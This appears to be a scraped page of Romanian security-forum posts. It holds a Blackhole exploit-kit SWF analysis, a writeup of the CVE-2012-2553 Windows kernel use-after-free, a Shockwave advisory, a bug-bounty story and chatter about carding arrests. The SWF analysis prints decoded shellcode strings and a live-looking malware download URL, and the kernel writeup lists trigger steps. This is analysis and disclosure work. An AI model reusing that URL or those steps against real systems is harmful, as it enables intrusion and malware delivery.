pushstring "getFillBytes" 159 callproperty call (1) //nameIndex = 12 162 callproperty u (1) //nameIndex = 16 165 pushstring "utf-16" 167 callpropvoid writeMultiByte (2) //nameIndex = 17 170 getlocal 12 172 findpropstrict u //nameIndex = 16 174 getlex ExternalInterface //nameIndex = 11 176 pushstring "get" 178 getlex sc //nameIndex = 18 180 add 181 callproperty call (1) //nameIndex = 12 184 callproperty u (1) //nameIndex = 16 187 pushstring "utf-16" What we do not see is getShellCode. That is because the string “ShellCode” has been assigned the variable sc (var sc:String = “ShellCode”). The flow of this assignment is not so obvious, as it occurs after the function using it. But if you go back to lines 176 and 178, you can see the pushing of “get” and then the variable sc with the value “ShellCode”. static var allocs:Array /* slot_id 1 */ static var u:Object /* slot_id 2 */ static var sc:String = "ShellCode" /* slot_id 3 */ static function Spray$cinit() /* disp_id=0 method_id=0 nameIndex = 0 */ { // local_count=1 max_scope=1 max_stack=2 code_len=15 // method position=819 code position=871 0 getlocal0 1 pushscope 2 findproperty u //nameIndex = 5 4 getlex unescape //nameIndex = 9 6 setproperty u //nameIndex = 5 8 findproperty sc //nameIndex = 7 10 pushstring "ShellCode" 12 setproperty sc //nameIndex = 7 14 returnvoid } } So, what of that shellcode. We go through the normal process of using the JavaScript shell to simply the unicode. Getting the Unicode from the script Then run a ruby script to change it to binary. We look at the last hex to see the key (0×28 again). We use that key in the ruby xor function and then “strings” the result. This will give us the binary that we download. $ vi rol.uu $ ruby u2b.rb rol.uu > rol.bin $ strings rol.bin AAAAf ((((pxBh@ (((x @GF((@]ZDE| ,)(( , ZMO[ l ,^Z l5(_XJ\ l5!(q l5,iyB(B({ ]>B({ ~,B( X@\\X I[MFAICZGD NGZ]E DAFC[ KGD]EF $ ruby xorKey.rb rol.bin > rol.b2 $ strings rol.b2 iiiiN } 3t XPj@h hurlmT $regs vr32 -s Sh wpbt .dll /phxxp://aseniakrol.ru:8080/forum/links/column.php?if=32:30:2w:1o:31&ee=2v Knowing the SWF file has little impact in determining where the executable is. Looking at it via the SWF is good however, for there are times that you may need to know what is in the SWF. In the past, I have seen exploit writers hardcode the string in the SWF and JAR files. Sursa: Using Adobe SWF Investigator on Blackhole – playingwithothers

Suntem deschisi la sugestii. Avem cateva idei, pana duminica sper sa punem o parte dintre ele in aplicare.

[h=1]Spoon : Run applications online without installing[/h]by Black on December 18, 2012 Transmits through a small plugin that works with all major web browsers. Launch hundreds of free apps with no installs. Apps run in an isolated virtual environment. Free for personal use up to 1GB. Can be upgraded but with a price. [h=2]List of tools which can be used.[/h] Compression Database Debugging Development File Backup File Comparison File Transfer PC Security Terminal Emulators Virtualization Web Site Other Tools This is very use ful as cross-platform emulation layer allows legacy applications to run on new OSs such as Windows 7 and 8. Applications run in an isolated virtual environment using the industry-leading Spoon app virtualization engine. [h=3]Click here to know more or start using spoon[/h] Via: http://www.pentestit.com/spoon-run-applications-online-installing/ http://www.spoon.net/

Nat Attack Description: PDF : - https://hacktivity.com/en/downloads/archives/199/ Sándor works on the information security field for more than 15 years. His main field is cyber security, protecting electronic channels, Internet banks and Web channels, incident management, forensic investigations and penetration testing. As a college lecturer he gave lectures on computer networks, cryptography and information security. Participated in information security projects of big enterprises then joined Sophos Antivirus as a senior software engineer and designed and developed cryptographic applications and solutions. In the recent ten years he works in the financial sector as manager or technical expert to protect the ICT infrastructure of multinational companies. His main field is cyber security, protecting electronic channels, Internet banks and Web channels, incident management, forensic investigations and penetration testing. He is interested in the technical solutions of anonym communications over the Internet. Author of a computer networking and two IT security books. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Via: Nat Attack

[h=3]PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug[/h]Deci se poate si legal. Recently, I wrote about the command execution vulnerability i found in Paypal for which they sent me an initial payment of 5000$, This story was featured in lots of popular technology blogs like Softpedia, ProPakistani, MyBloggertricks etc. Recently i received an email from Paypal, where they informed me that they have deposited the remaining bounty "4750$" to my business partners Paypal account. Screenshot: http://3.bp.blogspot.com/-j0__uXiqZT4/UNDNTQRWZQI/AAAAAAAACbQ/Fqp17BBWs-Q/s1600/Paypalw.png I would also like to let you know that, still more than 20 bugs i sent are being validated by Paypal. Sursa: PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug | Learn How To Hack - Ethical Hacking and security tips

CVE-2012-2553: Windows Kernel VDM use-after-free in win32k.sys Microsoft addressed several Windows kernel vulnerabilities in the MS12-075 security bulletin released in November this year, some of them residing in every version of the win32k.sys driver shipped with the NT family line systems. Apart from the obviously extremely interesting remote web browser => ring-0 arbitrary code execution issue, there have also been two other Local Privilege Escalation bugs, at least one of which was directly related to the management of legacy 16-bit applications running within a VDM (Virtual DOS Machine). Since the topics of use-after-free vulnerabilities in the Windows kernel – and especially in old and poorly understood functionality – seems to be very appealing for most, this post aims to cover some of the technical details related to that particular security flaw. In addition to (hopefully) having some didactic and entertainment value, this write-up and the very existence of that bug illustrates how trivial it still is to find elevation of privileges vulnerabilities in undocumented, rarely used features present in the Windows operating system since more than fifteen or twenty years by now. As a side note, a similar (yet unrelated) issue in the same code area has been previously found by Tarjei Mandt back in 2010 and documented in his excellent “CVE-2010-3941: Windows VDM Task Initialization Vulnerability” post over two years ago. There is also more evidence of Windows VDM and its kernel-mode support (WOW32) being subject of in-depth security research in the past: for example, see “Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack” (Pwnie Award Winner) or “EEYE: Windows VDM Zero Page Race Condition Privilege Escalation“. The vulnerability Some basic information regarding internal structures used by the WOW-related win32k.sys system calls has already been described by Tarjei in his article. In short, GUI threads can call a “public” win32k!xxxRegisterUserHungAppHandlers routine (being a part of the win32k!apfnSimpleCall interface) either through the win32k!NtUserCallTwoParam system call or user32!RegisterUserHungAppHandlers – a convenient user-mode wrapper. The service is purposed to be used within the NTVDM.EXE process, a container for 16-bit DOS apps. It is primarily responsible for allocating a WOWPROCESSINFO kernel structure, assigning it to an internal ppiCurrent->pwpi field within PROCESSINFO (corresponding to the current process) and inserting into a linked list pointed to by a global win32k!gpwpiFirstWow symbol as shown on the following listing: ? [TABLE] [TR] [TD]1 2 3 4 5 6 7 8 9 10 11[/TD] [TD=class: code].text:BF9785DA push 'pwsU' ; Tag .text:BF9785DF push 28h ; NumberOfBytes .text:BF9785E1 call _Win32AllocPoolWithQuotaTagZInit@8 .text:BF9785E6 mov esi, eax [...] .text:BF97861F call ds:__imp__PsGetCurrentProcessWin32Process@0 [...] .text:BF97862E mov [eax+PROCESSINFO.pwpi], esi .text:BF978634 mov eax, _gpwpiFirstWow .text:BF978639 mov [esi], eax .text:BF97863B mov _gpwpiFirstWow, esi [/TD] [/TR] [/TABLE] Relations between WOW structures and pointers after a single xxxRegisterUserHungAppHandlers call. As you can imagine, the code quality of the vulnerable routine wasn’t (perhaps still isn’t) exceptionally good; it assumed that a process would only call it once during its entire lifespan (the exact same root cause as with Tarjei’s bug), hence it wouldn’t verify whether a WOWPROCESSINFO had already been allocated before, but would simply overwrite the existing ppiCurrent->pwpi pointer and push “duplicate” entries onto the gpwpiFirstWow list, in case xxxRegisterUserHungAppHandlers was called more than one time. Relations between all WOW structures after calling xxxRegisterUserHungAppHandlers twice, and initializing TBD structures with NtUserInitTask. Further on, when the NTVDM.EXE process terminates and its internal structures are freed in win32k!DestroyProcessInfo, only the ppiCurrent->pwpi WOWPROCESSINFO structure is removed from the system-wide linked list, leaving all previous allocations untouched (effectively causing a memory leak): ? [TABLE] [TR] [TD]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26[/TD] [TD=class: code].text:BF8D8DE6 mov eax, offset _gpwpiFirstWow .text:BF8D8DEB cmp _gpwpiFirstWow, edx .text:BF8D8DF1 jz short loc_BF8D8E05 .text:BF8D8DF3 .text:BF8D8DF3 loc_BF8D8DF3: ; CODE XREF: DestroyProcessInfo(x)+26D j .text:BF8D8DF3 mov ecx, [eax] .text:BF8D8DF5 cmp ecx, edi .text:BF8D8DF7 jz short loc_BF8D8E01 .text:BF8D8DF9 mov eax, ecx .text:BF8D8DFB cmp [eax], edx .text:BF8D8DFD jz short loc_BF8D8E05 .text:BF8D8DFF jmp short loc_BF8D8DF3 .text:BF8D8E01 ; --------------------------------------------------------------------------- .text:BF8D8E01 .text:BF8D8E01 loc_BF8D8E01: ; CODE XREF: DestroyProcessInfo(x)+265 j .text:BF8D8E01 mov ecx, [edi] .text:BF8D8E03 mov [eax], ecx .text:BF8D8E05 .text:BF8D8E05 loc_BF8D8E05: ; CODE XREF: DestroyProcessInfo(x)+25F j .text:BF8D8E05 ; DestroyProcessInfo(x)+26B j .text:BF8D8E05 push edx ; Tag .text:BF8D8E06 push edi ; P .text:BF8D8E07 call ebx ; ExFreePoolWithTag(x,x) ; ExFreePoolWithTag(x,x) .text:BF8D8E09 xor edi, edi .text:BF8D8E0B mov [esi+0A4h], edi .text:BF8D8E11 jmp short loc_BF8D8E15 [/TD] [/TR] [/TABLE] Inconsistent thread pointer in the TDB structure upon terminating the offending VDM container process and freeing internal structures. The stale WOWPROCESSINFO structures in gpwpiFirstWow are still publicly accessible thanks to the win32k!NtUserPostThreadMessage system service, which is implemented in such a way that it lists all items in gpwpiFirstWow, then for each of them iterates through their corresponding TDB structures (starting from WOWPROCESSINFO.ptdbHead), and if ptdb->hTaskWow is equal to the user-specified “id” parameter, the function takes ptdb->pti as the THREADINFO structure to operate on. Without going into much detail, the ppiCurrent->pwpi->ptdbHead field can be populated by win32k!InsertTask, called by win32k!zzzInitTask, called by win32k!NtUserInitTask. The overall list of steps required to trigger the vulnerability is as follows: Spawn an NTVDM.EXE subsystem by running a 16-bit application. Inject code into NTVDM and execute it: Call win32k!xxxRegisterUserHungAppHandlers to register a WOWPROCESSINFO structure used later for exploitation. Call win32k!NtuserInitTask to populate ppiCurrent->pwpi->ptdbHead with a TDB structure referencing the current thread, and hTaskWow set to a custom value (e.g. 0×1337) Call win32k!xxxRegisterUserHungAppHandlers again to overwrite ppiCurrent->pwpi and insert a second item into gpwpiFirstWow. Call ExitProcess, resulting in destroying current thread, and freeing the WOWPROCESSINFO structure allocated in step 2.3. (but not the one from 2.1.) Call win32k!NtuserPostThreadMessage with the “id” parameter set to 0×1337, resulting in the routine using a PTHREADINFO pti address pointing at a freed structure describing the thread destroyed in step 2.1. Practical exploitation of the vulnerability has proven to be non-trivial, but definitely feasible. Considering the nature of the flaw, it requires that the attacker fills the memory region previously allocated for the THREADINFO structure with controlled data, requiring a high degree of control over the kernel session pools’ management and layout. Reproducing a system bugcheck and potentially developing a reliable exploit is left as an excercise for the reader I hope you enjoyed the post, and Merry Christmas to everyone! Posted by j00ru on Tuesday, December 18, 2012, at 14:21:47. Sursa: CVE-2012-2553: Windows Kernel VDM use-after-free in win32k.sys | j00ru//vx tech blog

[h=1]US-CERT warns of Adobe Shockwave Player threat[/h]Atentie cu Flash Playeru... Robert Westervelt, News Director Published: 18 Dec 2012 A poorly implemented feature in Adobe Shockwave Player could potentially let attackers upload vulnerable files into the browser plugin, exposing users to drive-by attacks and other problems, according to a warning issued by the US-CERT. The US-CERT said the weakness are contained in file packages commonly used to extend the functionality of the Shockwave Player called Xtras. The files are stored in the Shockwave movie itself, enabling an attacker to host old, vulnerable Xtras that can be installed and exploited automatically when a Shockwave movie is played, according to the advisory issued on Monday. "If the Xtra is signed by Adobe or Macromedia, it will be installed automatically without any user interaction," The US-CERT warned. The longstanding issue was brought to Adobe's attention in 2010, according to the advisory. It impacts users of the "Slim" version of Shockwave Player running on Mozilla Firefox and Internet Explorer. The attack is fairly simple to carry out, though there have been no reports of it being actively used by cybercriminals. An attacker could convince a user to view malicious Shockwave content and then execute malicious code with the privileges of the user. Adobe acknowledged the issue and said its engineering team plans to release an update in February fixing the problem. "Adobe is working on addressing this issue in the next major release of Adobe Shockwave Player," the company said. "We are not aware of any active exploits or attacks in the wild using this particular technique." The US-CERT said until an update is issued there is no practical solution available. It said individuals and organizations can take steps to mitigate the threat by restricting the handling of untrusted Director content may help mitigate the flaw. Other workarounds include using browser plugins, such as NoScript and whitelisting only trusted websites that run Shockwave Player in Mozilla browsers. Enterprises can also disable Shockwave Player ActiveX control in Internet Explorer to mitigate the threat, though it could cause some problems in Web pages. Windows users can add further protections by enabling data execution prevention (DEP), which can restrict the execution of code, making it harder for cybercriminals to target the flaw. Vedeti: - US-CERT Vulnerability Note VU#519137 - Adobe Shockwave player installs Xtras without prompting - US-CERT Vulnerability Note VU#546769 - Adobe Shockwave player vulnerable to downgrading Sursa: US-CERT warns of Adobe Shockwave Player threat

Ceva nou: hackyard. Ceva etic: hackpedia Ceva bun: RST Comparati si voi. Cam asta imi placea aici, partea de blackhat. Asa inveti mult mai multe decat pe partea etica. Libertate. Partea cu parolele suna bine, o sa vad ce facem zilele astea, inca nu e totul gata. Si am mai multe idei.

Nu e tocmai "rocket" science. Si noi facuseram asa ceva: http://rstforums.com/forum/39269-rst-datakiller-v0-2-a.rst

@Nemessis, dar si ceilalti: 1. Am tinut cont de discutiile noastre si inca tin cont de ele pentru ca esti probabil singura persoana cu capul pe umeri din aceasta comunitate, insa am decis, sfatuindu-ma cu mai multe persoane, ca e spre binele comunitatii sa o redeschidem. Practic imi asum o mare responsabilitate redeschizand comunitatea, serverul fiind cumparat pe numele meu real, care oricum nu e tocmai un secret. Cat timp nu voi fi in spatele gratiilor voi avea grija ca RST sa fie in picioare. 2. Nu stim daca RST a fost tinta principala DIICOT-ului, asa cum nici zoso si multe alte site-uri gazduite de tex nu au avut nicio legatura. Asa cum toti cei arestati aveau o legatura directa sau indirecta cu cardingul, continui sa cred ca RST, ca si comunitate, nu a avut niciun interes pentru DIICOT. Singura lor tinta au fost cei care se ocupau cu cardingul si care au facut pagube de milioane de dolari. RST a fost o victima colaterala prin simplul fapt ca unele persoane arestate erau membri/administratori aici. 3. Nu stiu cati au observat, dar pe langa cele cateva exceptii de persoane arestate pentru niste SQL Injection-uri, toate arestarile DIN TRECUT (legate de "IT") s-au facut pentru carding, skimming, ebay si alte rahaturi. Cu alte cuvinte, cat timp nu va ocupati cu asa ceva nu trebuie sa va fie teama ca veti fi arestati. 4. Nu cred ca au arestat persoane minore, care sa nu aiba habar in ce cacaturi se baga. Sunt SIGUR ca toti stiau ca ceea ce fac e ilegal si la ce riscuri se expun. Nu le plang de mila, unii, ca si mine, muncesc pentru bani, nu ii fura. Daca aici exista persoane care cred ca se vor imbogati furand carduri, acele persoane sunt constiente ca e ilegal si ca vor ajunge sa putrezeasca in inchisoare. Singurul lucru pe care il putem face este sa INCERCAM sa ii aducem pe drumul cel bun, ca sa nu o faca ulterior politia. Fara o comunitate unde sa gaseasca alternative s-ar alege praful, multi ar incepe sa faca prostii si ar sfarsi in inchisori. 5. Chiar daca "cei de sus" poate ne vor "jos", sau poate ne considera niste infractori, nu ar trebui sa ne dam batuti si ar trebui sa le aratam de ce suntem in stare (acum sa nu incepeti cu deface-urile), sa le aratam ca nu mai suntem copii de 16 ani de acum cativa ani, ca ne-am maturizat atat din punct de vedere moral, cat si din punctul de vedere al cunostintelor pe care le-am dobandit. Chiar si tu subestimezi putin comunitatea. In alte tari se plateste pentru un "bug" descoperit, la noi se baga in inchisoare, suntem inca "comunisti" dar la orizont se vede lumina si consider ca si Romania e pe drumul cel bun. 6. Arestarile astea au speriat multa lume, chiar si pe tine (frica pentru comunitate), fara motiv. Nu avem niciun motiv sa ne fie frica cat timp nu ne-am ocupat si nu ne ocupam cu carding sau alte astfel de rahaturi. Eu nu imi fac griji nici pentru mine si nici pentru alte persoane, cat timp ele singure nu se baga in cacat. Facem prea mult tam-tam si NE DEPARTAM foarte grav de ideea forumului, o comunitate pentru pasionatii de securitate IT, nu pentru hoti.

Prostule, copii ca tine ajung sa infunde puscariile pentru ca vor sa isi cumpere un cacat de pe net de pe cardul altcuiva. Mai bine ban decat puscarie. Desi va meritati soarta ratatilor.

Nop, alte arestari la anu. Cam asa merge, o data, de doua ori pe an, mai "masiv": 15-20-30 de persoane. Speriati copiii degeaba...

Vorbiti frumos ba, toti.